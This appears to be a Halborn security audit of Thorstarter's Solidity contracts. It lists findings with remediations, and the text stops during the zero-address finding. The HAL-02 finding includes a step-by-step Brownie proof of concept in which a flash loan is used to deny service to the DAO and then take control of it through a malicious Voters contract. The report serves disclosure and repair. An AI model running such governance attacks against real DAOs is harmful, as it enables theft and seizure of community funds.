THORSTARTER

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **August 9th, 2021 - August 25th, 2021**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	07/09/2021	Roberto Reigada
0.9	Document Updates	08/26/2021	Roberto Reigada
1.0	Final Version	08/26/2021	Roberto Reigada
1.1	Remediation Plan	06/30/2021	Roberto Reigada
1.1	Remediation Plan Review	06/30/2021	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Roberto Reigada	Halborn	Roberto.Reigada@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Thorstarter engaged Halborn to conduct a security audit on their smart contracts beginning on August 9th, 2021 and ending August 25th, 2021. The security assessment was scoped to the smart contracts provided in the Github repository Thorstater repository

1.2 AUDIT SUMMARY

The team at Halborn was provided a week for the engagement and assigned a full time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were addressed by the Thorstarter team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process,and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment (Brownie, Remix IDE)

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident, and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. It's quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that was used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.

3 - May cause a partial impact or loss to many.

2 - May cause temporary impact or loss.

1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

10 - CRITICAL

9 - 8 - HIGH

7 - 6 - MEDIUM

5 - 4 - LOW

3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:

The security assessment was scoped to the smart contracts:

- Sale.sol
- SaleFloating.sol
- LpTokenVesting.sol
- LpTokenVestingKeeper.sol
- DAO.sol
- VotersInvestmentDispenser.sol
- EmissionsSplitter.sol
- EmissionsPrivateDispenser.sol

Commit ID: 2d18755e5eaa40fc89448b28de0acbeb7b2150da

OUT-OF-SCOPE:

Other smart contracts in the repository (Voters.sol contract was submitted in a separate report), external libraries and economics attacks.

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	2	2	6	4

LIKELIHOOD

IMPACT

(HAL-04)	(HAL-03)	(HAL-02)		
			(HAL-01)	
	(HAL-05) (HAL-06)			
(HAL-13)	(HAL-08) (HAL-09)	(HAL-07)		
(HAL-11) (HAL-12) (HAL-14)		(HAL-10)		

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL01 - WRONG CONSTANT USED IN EMISSIONSSPLITTER.SOL	High	SOLVED - 08/26/2021
HAL02 - DOS/CONTRACT TAKEOVER ON DAO.SOL CONTRACT	High	SOLVED - 08/26/2021
HAL03 - FINALWITHDRAW FUNCTION MISSING REQUIRE STATEMENT	Medium	SOLVED - 08/26/2021
HAL04 - SALE DATE CAN BE MODIFIED ONCE STARTED	Medium	SOLVED - 08/26/2021
HAL05 - PARTY CAN BE LEFT WITHOUT ANY OWNER	Low	SOLVED - 08/26/2021
HAL06 - DOS WITH BLOCK GAS LIMIT	Low	RISK ACCEPTED
HAL07 - LACK OF ZERO ADDRESS CHECK	Low	SOLVED - 08/26/2021
HAL08 - VIOLATION OF CHECK, EFFECTS, INTERACTIONS PATTERN	Low	SOLVED - 08/26/2021
HAL09 - INCOMPATIBILITY WITH INFLATIONARY TOKENS	Low	RISK ACCEPTED
HAL10 - USE OF BLOCK.TIMESTAMP	Low	NOT APPLICABLE
HAL11 - MISUSE OF PUBLIC FUNCTIONS	Informational	SOLVED - 08/26/2021
HAL12 - REQUIRES CHECK MISSING	Informational	SOLVED - 08/26/2021
HAL13 - VARIABLE CAN BE INITIALIZED WITH A ZERO VALUE	Informational	SOLVED - 08/26/2021
HAL14 - CHECK VARIABLE IS NOT EQUAL TO ZERO	Informational	SOLVED - 08/26/2021

FINDINGS & TECH DETAILS

3.1 (HAL-01) WRONG CONSTANT USED IN EMISSIONSSPLITTER.SOL - HIGH

Description:

The contract EmissionsSplitter receives XRUNE token emissions and then calls the run() function to split up its current balance between the private investors, teams, DAO and ecosystem contracts/addresses following their respective vesting curves. These are the vesting curves:

Tokenomics

Breakdown of tokenomics and initial liquidity bootstrapping.

Genesis

Name	Vesting	Amount	Percent
Operational Treasury	GENESIS	150,000,000	15.0%
Community Treasury	GENESIS	75,000,000	7.5%
Ecosystem Fund	GENESIS	275,000,000	27.5%
Emissions: Private	2 years	75,000,000	7.5%
Emissions: Team	4 years	110,000,000	11.0%
Emissions: DAO Fund	10 years	65,000,000	6.5%
Emissions: Ecosystem Liquidity	10 years	250,000,000	25.0%
Sum		1,000,000,000	100.00%

As we can see, for the teams there is a total of 110,000,000 tokens. In the contract, we can see defined that in the first half (2 years) 66,000,000 of these tokens will be given, and then, on the second half, the rest (44,000,000 tokens):

```
Listing 1: EmissionsSplitter.sol (Lines 24,25)
```

```solidity
21     uint public constant ONE_YEAR = 31536000;
22     uint public constant INVESTORS_EMISSIONS_HALF1 = 45000000e18;
23     uint public constant INVESTORS_EMISSIONS_HALF2 = 30000000e18;
24     uint public constant TEAM_EMISSIONS_HALF1 = 66000000e18;
25     uint public constant TEAM_EMISSIONS_HALF2 = 44000000e18;
26     uint public constant ECOSYSTEM_EMISSIONS = 250000000e18;
```

In the function `run()` we can see that the constant `TEAM_EMISSIONS_HALF1` is being used incorrectly instead of `TEAM_EMISSIONS_HALF2`.

Code Location:

```
Listing 2: EmissionsSplitter.sol (Lines 103,107)
```

```solidity
89 uint sentToTeamNow = 0;
90 {
91     // Team get 66M tokens linearly over the first 2 years
92     uint teamProgress = _min(((block.timestamp - emissionsStart) *
           1e12) / (2 * ONE_YEAR), 1e12);
93     uint teamUnlocked = (teamProgress * TEAM_EMISSIONS_HALF1) / 1e12;
94     uint teamAmount = _min(teamUnlocked - sentToTeam, amount);
95     if (teamAmount > 0) {
96         sentToTeamNow += teamAmount;
97         sentToTeam += teamAmount;
98         amount -= teamAmount;
99         token.safeTransfer(team, teamAmount);
100    }
101 }
102 {
103     // Team get their remaining 44M tokens linearly over the next
          2 years
104     uint elapsed = block.timestamp - emissionsStart;
105     elapsed -= _min(elapsed, 2 * ONE_YEAR);
106     uint teamProgress = _min((elapsed * 1e12) / (2 * ONE_YEAR), 1e12);
107     uint teamUnlocked = (teamProgress * TEAM_EMISSIONS_HALF1) / 1e12;
108     uint teamAmount = _min(teamUnlocked - _min(teamUnlocked,
          sentToTeam), amount);
```

```
109     if (teamAmount > 0) {
110         sentToTeamNow += teamAmount;
111         sentToTeam += teamAmount;
112         amount -= teamAmount;
113         token.safeTransfer(team, teamAmount);
114     }
115 }
```

Risk Level:

Likelihood - 4
Impact - 4

Recommendation:

It is recommended to replace TEAM_EMISSIONS_HALF1 with TEAM_EMISSIONS_HALF2 constant in line 107 of EmissionsSplitter.sol.

Remediation Plan:

SOLVED: Thorstarter Team currently uses the right constant TEAM_EMISSIONS_HALF2.

3.2 (HAL-02) DOS/CONTRACT TAKEOVER ON DAO.SOL CONTRACT - HIGH

Description:

DAO.sol contract allows the creation of different proposals including the following features:

- Add support for pools: multiple options per proposal instead of just a for/against
- Support multiple actions per option. So multiple transactions can be executed by one proposal
- Use a “voters” contract to snapshot voting power, the address used can be updated. The voting power is based on the locked XRUNE (vXRUNE/voting token).
- Can reconfigure its own parameters: minBalanceToPropose, minPercentQuorum, minVotingTime, minExecutionDelay
- The ‘execute’ method can be called by anybody if the proposal is passed and not yet executed

Based on this, by doing a flash loan an attacker could:
- Case 1: Cause a DOS in the contract
- Case 2: Take total control of the DAO.sol contract

The DAO.sol contract makes use of this Voters.sol contract to handle the voting for the different proposals, and as such, we have included this vulnerability in the report.

Case 1: Cause a DOS in the contract - Manual test:

In this case we have followed these steps to cause a DOS in the contract:

1. Perform a flash loan of XRUNEs and lock all those XRUNEs tokens so we obtain more than the 50% of the total voting power
2. Create a proposal which calls Voters.toggleSnapshotter(DAO address)

3. Return the flash loan
4. Give it our vote
5. Execute it

This way, the contract DAO.sol will lose the snapshotters role in the Voters contract which is required to create a new proposal. Right after this call, no new proposals can be created.

Listing 3: DOS through toggleSnapshotter() (Lines 64,67,76)

```
# Deploying test Token contracts
>>> accounts[0].deploy(XRuneToken)
>>> accounts[0].deploy(OfferingToken)

# Deploying contract Voters.sol - constructor(address _owner,
    address _token, address _sushiLpToken)
>>> accounts[0].deploy(Voters, accounts[0].address, XRuneToken[0].
    address, OfferingToken[0].address)

# Deploying contract DAO.sol - constructor(address _voters, uint
    _minBalanceToPropose, uint _minPercentQuorum, uint
    _minVotingTime, uint _minExecutionDelay)
>>> accounts[0].deploy(DAO, Voters[0].address, 10, 0, 0, 0)

# DAO contract should be a snapshotter of Voters.sol
>>> Voters[0].toggleSnapshotter(DAO[0].address)

# Example users
## user1 33% of voting power
>>> user1 = accounts[1]
>>> XRuneToken[0].transfer(user1.address, 33)
>>> XRuneToken[0].approve(Voters[0].address, 33, {'from': user1})
>>> Voters[0].lock(33, {'from': user1})

## user2 16% of voting power
>>> user2 = accounts[2]
>>> XRuneToken[0].transfer(user2, 16)
>>> XRuneToken[0].approve(Voters[0].address, 16, {'from': user2})
>>> Voters[0].lock(16, {'from': user2})

# attacker comes and performs a flash loan of XRUNE tokens to get
    51% of the voting power
>>> attacker = accounts[9]
```

```
>>> XRuneToken[0].transfer(attacker, 51)
>>> XRuneToken[0].approve(Voters[0].address, 51, {'from': attacker})
>>> Voters[0].lock(51, {'from': attacker})

# Voting power
>>> print(”votes(user1) -> ” + str(Voters[0].votes(user1)))
votes(user1) -> 33
>>> print(”votes(user2) -> ” + str(Voters[0].votes(user2)))
votes(user2) -> 16
>>> print(”votes(attacker) -> ” + str(Voters[0].votes(attacker)))
votes(attacker) -> 51

# Attacker creates a proposal that calls Voters.toggleSnapshotter(DAO's address)
>>> encoded_toggleSnapshotter = Voters.signatures['toggleSnapshotter'] + eth_abi.encode_abi(['address',], (DAO[0].address,)).hex()
>>> bytes_toggleSnapshotter = to_bytes(encoded_toggleSnapshotter,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (Voters[0].address, 0, bytes_toggleSnapshotter)).hex()
>>> proposalID = DAO[0].propose(”Title”, ”Description”, 10000, 100, [”For”, ”Against”], [[actionBytes], []], {'from': attacker})
>>> proposalID = proposalID.return_value
>>> proposalID
1

# Attacker returns the flash loan
>>> Voters[0].unlock(51, {'from': attacker})

# Attacker votes for his proposal
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# The other users vote to reject the proposal
>>> DAO[0].vote(proposalID, 1, {'from': user1})
>>> DAO[0].vote(proposalID, 1, {'from': user2})

# After 24 hours...
>>> chain.sleep(86401)

# Attacker executes the self-approved proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
```

```
Transaction sent: 0xdb6533a7eeb2426681ac4eab6dc638...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 5
  DAO.execute confirmed   Block: 13061360   Gas used: 63783
      (0.95%)

<Transaction '0xdb6533a7eeb2426681ac4eab6dc638...'>


# Now another user comes and tries to create a new proposal
>>> DAO[0].propose("Title", "Description", 10000, 100, ["For", "
    Against"], [[], []], {'from': user1})
Transaction sent: 0x6449063f2cc6b237dd5f7693a76c7e...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 3
  DAO.propose confirmed (not snapshotter)   Block: 13061361   Gas
      used: 30712 (0.46%)

<Transaction '0x6449063f2cc6b237dd5f7693a76c7e...'>
```

Case 2: Take total control of the DAO.sol contract - Manual test:

For this case we have followed these steps to take control of the DAO contract:

1. Create a malicious contract called EvilVoters.sol with the same structure and similar code as the current Voters.sol contract
2. Initialize the EvilVoters.sol contract with our own fake tokens
3. Add the DAO.sol contract address as an snapshotter of our malicious contract
4. Perform a flash loan of XRUNEs and lock all those XRUNE tokens so we obtain more than the 50% of the total voting power
5. Create a proposal which calls DAO.setVoters(EvilVoters.sol's address)
6. Return the flash loan
7. Give it our vote
8. Execute it

After the proposal is executed the new voters contract will be our malicious contract. In this contract, we are the only ones that have tokens which give us total control over the DAO contract to propose and execute anything.

Listing 4: DAO Contract takeover through DAO.setVoters() (Lines 100,103,162,165)

```
# Deploying test Token contracts...
>>> accounts[0].deploy(XRuneToken)
>>> accounts[0].deploy(OfferingToken)

# Deploying contract Voters.sol - constructor(address _owner,
    address _token, address _sushiLpToken)
>>> accounts[0].deploy(Voters, accounts[0].address, XRuneToken[0].
    address, OfferingToken[0].address)

# Deploying contract DAO.sol - constructor(address _voters, uint
    _minBalanceToPropose, uint _minPercentQuorum, uint
    _minVotingTime, uint _minExecutionDelay)
>>> accounts[0].deploy(DAO, Voters[0].address, 10, 0, 0, 0)

# Adding DAO contract as a snapshotter of Voters.sol
>>> Voters[0].toggleSnapshotter(DAO[0].address)

# Example users
## user1 33% of voting power
### Giving user 1 33% of the voting power
>>> user1 = accounts[1]
>>> XRuneToken[0].transfer(user1.address, 33)
>>> XRuneToken[0].approve(Voters[0].address, 33, {'from': user1})
>>> Voters[0].lock(33, {'from': user1})

## user2 16% of voting power
### Giving user 2 16% of the voting power
>>> user2 = accounts[2]
>>> XRuneToken[0].transfer(user2, 16)
>>> XRuneToken[0].approve(Voters[0].address, 16, {'from': user2})
>>> Voters[0].lock(16, {'from': user2})

## attacker creates a new Voters.sol contract with his own fake
    tokens which are FakeToken1 and FakeToken2
>>> attacker = accounts[9]
### Deploying FakeToken contracts...
>>> attacker.deploy(FakeToken1)
>>> attacker.deploy(FakeToken2)
```

```
### deploying malicious Voters contract...
>>> attacker.deploy(Voters, attacker.address, FakeToken1[0].address, FakeToken2[0].address)

### Adding DAO contract as a snapshotter of the malicious Voters.sol
>>> Voters[1].toggleSnapshotter(DAO[0].address)

## Voters[0] -> Original voters contract
## Voters[1] -> Malicious voters contract created by the attacker
### Attacker locks 1000000 FakeTokens1 in the malicious voters contract
>>> FakeToken1[0].transfer(attacker, 1000000)
>>> FakeToken1[0].approve(Voters[1].address, 1000000, {'from': attacker})
>>> Voters[1].lock(1000000, {'from': attacker})
>>> print("Attacker voting power in the malicious voters contract -> " + str(Voters[1].votes(attacker)) + "\n")
Attacker voting power in the malicious voters contract -> 1000000

## attacker comes and performs a flash loan of XRUNE tokens to get 51% of the voting power in the original voters contract
>>> XRuneToken[0].transfer(attacker, 51)
>>> XRuneToken[0].approve(Voters[0].address, 51, {'from': attacker})
>>> Voters[0].lock(51, {'from': attacker})

# Voting power
>>> print()
print("Voting power in the original voters contract")
print("votes(user1) -> " + str(Voters[0].votes(user1)))
print("votes(user2) -> " + str(Voters[0].votes(user2)))
print("votes(attacker) -> " + str(Voters[0].votes(attacker)))
print()
print("Voting power in the malicious voters contract")
print("votes(user1) -> " + str(Voters[1].votes(user1)))
print("votes(user2) -> " + str(Voters[1].votes(user2)))
print("votes(attacker) -> " + str(Voters[1].votes(attacker)))
print()

Voting power in the original voters contract
votes(user1) -> 33
votes(user2) -> 16
```

```
votes(attacker) -> 51

Voting power in the malicious voters contract
votes(user1) -> 0
votes(user2) -> 0
votes(attacker) -> 1000000

# Attacker creates a proposal that calls setVoters(Malicious voters contract address)
>>> encoded_setVoters = DAO.signatures['setVoters'] + eth_abi.encode_abi(['address',], (Voters[1].address,)).hex()
>>> bytes_setVoters = to_bytes(encoded_setVoters,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (DAO[0].address, 0, bytes_setVoters)).hex()
>>> proposalID = DAO[0].propose("Title", "Description", 10000, 100, ["For", "Against"], [[actionBytes], []], {'from': attacker})
>>> print("ProposalID -> " + str(proposalID) + "\n")
ProposalID -> 1

# Attacker returns the flash loan. This is done before voting for its own proposal, as the voting power used by the smart contract is the voting power that the users had at the time of the proposal creation
>>> Voters[0].unlock(51, {'from': attacker})

# Attacker votes to approve his own proposal
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# The other users vote to reject the proposal
>>> DAO[0].vote(proposalID, 1, {'from': user1})
>>> DAO[0].vote(proposalID, 1, {'from': user2})

# After 24 hours...
>>> chain.sleep(86401)

# Attacker executes the proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
Transaction sent: 0xca6d0d8e67b51644c81535b2435303e...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 12
  DAO.execute confirmed   Block: 13069245   Gas used: 77831 (1.16%)

<Transaction '0xca6d0d8e67b51644c81535b2435303e...'>
```

```

## Let's give now a lot of voting power to the user1 and user2
>>> XRuneToken[0].transfer(user1, 500000000e10)
>>> XRuneToken[0].approve(Voters[0].address, 500000000e10, {'from': user1})
>>> Voters[0].lock(500000000e10, {'from': user1})
>>> XRuneToken[0].transfer(user2, 500000000e10)
>>> XRuneToken[0].approve(Voters[0].address, 500000000e10, {'from': user2})
>>> Voters[0].lock(500000000e10, {'from': user2})

# Voting power
>>> print()
print(”Voting power in the original voters contract”)
print(”votes(user1) -> ” + str(Voters[0].votes(user1)))
print(”votes(user2) -> ” + str(Voters[0].votes(user2)))
print(”votes(attacker) -> ” + str(Voters[0].votes(attacker)))
print()
print(”Voting power in the malicious voters contract”)
print(”votes(user1) -> ” + str(Voters[1].votes(user1)))
print(”votes(user2) -> ” + str(Voters[1].votes(user2)))
print(”votes(attacker) -> ” + str(Voters[1].votes(attacker)))
print()

Voting power in the original voters contract
votes(user1) -> 5000000000000000033
votes(user2) -> 5000000000000000016
votes(attacker) -> 0

Voting power in the malicious voters contract
votes(user1) -> 0
votes(user2) -> 0
votes(attacker) -> 1000000

## attacker creates a new proposal to setMinBalanceToPropose to 1000000
>>> encoded_setMinBalanceToPropose = DAO.signatures['setMinBalanceToPropose'] + eth_abi.encode_abi(['uint256',], (1000000,)).hex()
>>> bytes_setMinBalanceToPropose = to_bytes(encoded_setMinBalanceToPropose,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (DAO[0].address, 0, bytes_setMinBalanceToPropose)).hex()
>>> proposalID = DAO[0].propose(”Title”, ”Description”, 10000,
```

```
    100, ["For", "Against"], [[actionBytes], []], {'from': attacker
    })
>>> proposalID = proposalID.return_value
>>> print("Second proposal created by the attacker - ProposalID ->
    " + str(proposalID) + "\n")
Second proposal created by the attacker - ProposalID -> 2

# Attacker votes to approve it
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# User1 and user2 vote to reject it
>>> DAO[0].vote(proposalID, 0, {'from': user1})
>>> DAO[0].vote(proposalID, 0, {'from': user2})

# Finish the voting period
>>> chain.sleep(86401)

# We check the minBalanceToPropose before executing the proposal
>>> print("minBalanceToPropose before executing the proposal -> "
    + str(DAO[0].minBalanceToPropose()) + "\n")
minBalanceToPropose before executing the proposal -> 10

# Execute the proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
Transaction sent: 0x5cdb022231acb822c48c4ffe8c58aab675...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 15
  DAO.execute confirmed   Block: 13069256   Gas used: 76851
     (1.14%)

<Transaction '0x5cdb022231acb822c48c4ffe8c58aab675...'>

# Get the value of minBalanceToPropose after executing the
    proposal
>>> print("minBalanceToPropose after executing the proposal -> " +
    str(DAO[0].minBalanceToPropose()))
minBalanceToPropose after executing the proposal -> 1000000
```

Risk Level:

Likelihood - 3
Impact - 5

Recommendation:

In the current Voters.sol contract, the tokens locked should take a fixed period of time before they grant voting power. If a malicious user performs a flash loan of XRUNE tokens and locks them, they will not get their voting power increased before they have to return the flash loan. So, it is recommended not allowing to lock() and unlock() XRUNE in the same transaction.

Remediation Plan:

SOLVED: Thorstarter Team rightly implemented a fix to mitigate the risk of flash loans by not allowing to lock() unlock() XRUNE in the same transaction.

3.3 (HAL-03) FINALWITHDRAW FUNCTION MISSING REQUIRE STATEMENT - MEDIUM

Description:

The contracts Sale.sol and SaleFloating.sol have a function called finalWithdraw() which allows the owner to extract all the tokens. This function allows the owner of the contract to perform a rug pull as he would be able to retrieve all the tokens at any given time.

Code Location:

Listing 5: Sale.sol

```
function finalWithdraw(uint _paymentAmount, uint _offeringAmount) public onlyOwner {
  require (_paymentAmount <= paymentToken.balanceOf(address(this)), 'not enough payment token');
  require (_offeringAmount <= offeringToken.balanceOf(address(this)), 'not enough offerring token');
  if (_paymentAmount > 0) {
    paymentToken.safeTransfer(address(msg.sender), _paymentAmount);
    totalAmountWithdrawn += _paymentAmount;
    require(totalAmountWithdrawn <= raisingAmount, 'can only widthdraw what is owed');
  }
  if (_offeringAmount > 0) {
    offeringToken.safeTransfer(address(msg.sender), _offeringAmount);
  }
}
```

Listing 6: SaleFloating.sol

```
function finalWithdraw(uint _paymentAmount, uint _offeringAmount) public onlyOwner {
  require (_paymentAmount <= paymentToken.balanceOf(address(this)), 'not enough payment token');
```

```
  require (_offeringAmount <= offeringToken.balanceOf(address(this
      )), 'not enough offerring token');
  if (_paymentAmount > 0) {
    paymentToken.safeTransfer(address(msg.sender), _paymentAmount)
        ;
  }
  if (_offeringAmount > 0) {
    offeringToken.safeTransfer(address(msg.sender),
        _offeringAmount);
  }
}
```

Risk Level:

Likelihood - 2
Impact - 5

Recommendation:

finalWithdraw() function should have a require statement that does not allow the withdraw unless the redeeming period has been completed. In order to achieve this, this could be a possible implementation:

Listing 7: Example (Lines 6,7,9,11)

```
1 uint public startBlock;
2 // The block number when sale ends
3 uint public endBlock;
4 // The block number when tokens are redeemable
5 uint public tokensBlock;
6 // The block number that sets the end of the redeeming period
7 uint public tokensEndBlock;
8
9 // New finalWithdraw() function
10 function finalWithdraw(uint _paymentAmount, uint _offeringAmount)
     public onlyOwner {
11   require (block.number > tokensEndBlock, 'redeeming period is not
         over yet');
12   require (_paymentAmount <= paymentToken.balanceOf(address(this))
       , 'not enough payment token');
```

```
  require (_offeringAmount <= offeringToken.balanceOf(address(this)), 'not enough offerring token');
  if (_paymentAmount > 0) {
    paymentToken.safeTransfer(address(msg.sender), _paymentAmount);
    totalAmountWithdrawn += _paymentAmount;
    require(totalAmountWithdrawn <= raisingAmount, 'can only withdraw what is owed');
  }
  if (_offeringAmount > 0) {
    offeringToken.safeTransfer(address(msg.sender), _offeringAmount);
  }
}
```

tokensEndBlock would set when the redeeming period is finished and then, in the finalWithdraw() function, there would be a require statement that would check that the redeeming period is completed in order to withdraw the tokens.

Remediation Plan:

SOLVED: Thorstarter Team added a requirement so the function finalWithdraw() can only be called if the sale have not started yet or if the sale have finished at least 7 days ago.

3.4 (HAL-04) SALE DATE CAN BE MODIFIED ONCE STARTED - MEDIUM

Description:

The contracts Sale.sol and SaleFloating.sol have the following state variables:

Listing 8: Sale.sol (Lines 42,44)

```
41 // The block number when sale starts
42 uint public startBlock;
43 // The block number when sale ends
44 uint public endBlock;
45 // The block number when tokens are redeemable
46 uint public tokensBlock;
47 // Total amount of raising tokens that need to be raised
48 uint public raisingAmount;
```

These variables set the start and the end date of the Sale. Once the sale is started the startBlock variable can be modified with the function setStartBlock(). This means that if the new startBlock is higher than the current block.number the sale schedule can be modified. Thorstarter mentioned this was intended, as a way to pause deposits/withdrawals or extend the time before tokens are claimable in case the project needed more time to sort issues out. For this case, Halborn believes that a better approach could be using a modifier like notPaused for all these deposit/withdrawals functions and never allowing the modification of the sale schedule, once it was already started.

On the other hand, the state variables startBlock, endBlock, tokensBlock and raisingAmount should not be modified once the sale has started, for that reason the setter methods setStartBlock(), setEndBlock() and setTokensBlock() should be edited so they require that the sale has not started to be executed. Otherwise a malicious owner/keeper could change the schedule of the sale.

This vulnerability is also related to HAL-04. Both vulnerabilities should be fixed to ensure a correct functionality. The finalWithdraw() function suggested fix, would be useless, and could be bypassed, if the start/end/redeeming dates could be modified by the owner after the sale had started.

Code Location:

Listing 9: Sale.sol (Lines 87,88,96,97)

```
function setStartBlock(uint _block) public onlyOwnerOrKeeper {
  startBlock = _block;
  _validateBlockParams();
}

function setEndBlock(uint _block) public onlyOwnerOrKeeper {
  endBlock = _block;
  _validateBlockParams();
}

function setTokensBlock(uint _block) public onlyOwnerOrKeeper {
  tokensBlock = _block;
  _validateBlockParams();
}
```

Risk Level:

Likelihood - 1
Impact - 5

Recommendation:

Use a modifier like notPaused for all these deposit/withdrawals functions. Functions setStartBlock(), setEndBlock() and setTokensBlock() should have a require statement that checks that the sale has not started. Once started the sale schedule should never be modified.

Remediation Plan:

SOLVED: Thorstarter Team decided to remove all the setter functions which allowed changes to the sale parameters. Functions setStartBlock(), setEndBlock() and setTokensBlock() were removed. The sale schedule can now only be set in the constructor.

3.5 (HAL-05) PARTY CAN BE LEFT WITHOUT ANY OWNER - LOW

Description:

The contract LpTokenVesting.sol contains the function toggleOwner(). This function could leave a party without any owner if it's wrongly executed. This means that the party would not be able to claim their vested tokens.

Code Location:

Vulnerable code

Listing 10: LpTokenVesting.sol

```
function toggleOwner(uint party, address owner) public {
    Party storage p = parties[party];
    require(p.owners[msg.sender], "not an owner of this party");
    p.owners[owner] = !p.owners[owner];
    owners[owner] = p.owners[owner];
}
```

Listing 11: Test done with brownie

```
# Check if a party can be left without an owner
def test_lptoken_4():
    chain.snapshot()
    print("owner_account - PartyOwner()? -> " + str(LpTokenVesting
        [0].partyOwner(0, owner_account.address)))
    LpTokenVesting[0].toggleOwner(0,owner_account.address,{'from':
        owner_account.address})
    print("owner_account - PartyOwner()? -> " + str(LpTokenVesting
        [0].partyOwner(0, owner_account.address)))
    chain.revert()
```

Listing 12: Output of the test

```
owner_account - PartyOwner()? -> True

```

```
Transaction sent: 0xcf387d3bf616845cf90081ef28e50c0f266d0c2bcaf1ede4b6354d0727ac61cf

  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 10
  LpTokenVesting.toggleOwner confirmed   Block: 13037160   Gas used: 17408 (0.26%)

owner_account - PartyOwner()? -> False
```

Risk Level:

Likelihood - 2
Impact - 3

Recommendation:

Use OpenZeppelin Access Control library to manage the different roles of the contracts. Using this OpenZeppelin library the roles can be granted and revoked dynamically via the grantRole and revokeRole functions. Each role has an associated admin role, and only accounts that have a role's admin role can call grantRole and revokeRole.

Remediation Plan:

SOLVED: Thorstarter Team added a require statement disallowing the owner to disable his own access. First, the owner can promote someone else and only then they can disable the access.

3.6 (HAL-06) DOS WITH BLOCK GAS LIMIT - LOW

Description:

When smart contracts are deployed or functions inside them are called, the execution of these actions always require a certain amount of gas, based on how much computation is needed to complete them. The Ethereum network specifies a block gas limit and the sum of all transactions included in a block cannot exceed the threshold. Programming patterns that are harmless in centralized applications can lead to Denial of Service conditions in smart contracts when the cost of executing a function exceeds the block gas limit. In the contract LpTokenVestingKeeper.sol, the function run() iterates over an array of vesters of unknown size. If this array is big enough, the transaction could reach the block gas limit and would not be completed.

Code Location:

Listing 13: LpTokenVestingKeeper.sol (Lines 81)

```
78 function run() external {
79   require(shouldRun(), "should not run");
80   lastRun = block.timestamp;
81   for (uint i = 0; i < lpVestersCount; i++) {
82     ILpTokenVesting vester = ILpTokenVesting(lpVesters[i]);
83     uint claimable = vester.claimable(0);
84     if (claimable > 0) {
85       vester.claim(0);
```

Risk Level:

Likelihood - 2
Impact - 3

Recommendation:

Actions that require looping across the entire data structure should be avoided. If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions.

Remediation Plan:

RISK ACCEPTED: Thorstarter Team accepts this risk as they will be the only keepers of this contract and will avoid adding too many vesting contracts in that array.

3.7 (HAL-07) LACK OF ZERO ADDRESS CHECK - LOW

Description:

There is no validation of the addresses anywhere in the code. Every address should be validated and checked that is different than zero. This issue is present in most of the constructors and functions that use addresses as parameters.

Code Location examples:

Listing 14: Sale.sol (Lines 87,88,96,97)

```
75 constructor(
76       IERC20 _paymentToken,
77       IERC20 _offeringToken,
78       uint _startBlock,
79       uint _endBlock,
80       uint _tokensBlock,
81       uint _offeringAmount,
82       uint _raisingAmount,
83       uint _perUserCap,
84       address _owner,
85       address _keeper
86   ) {
87       paymentToken = _paymentToken;
88       offeringToken = _offeringToken;
89       startBlock = _startBlock;
90       endBlock = _endBlock;
91       tokensBlock = _tokensBlock;
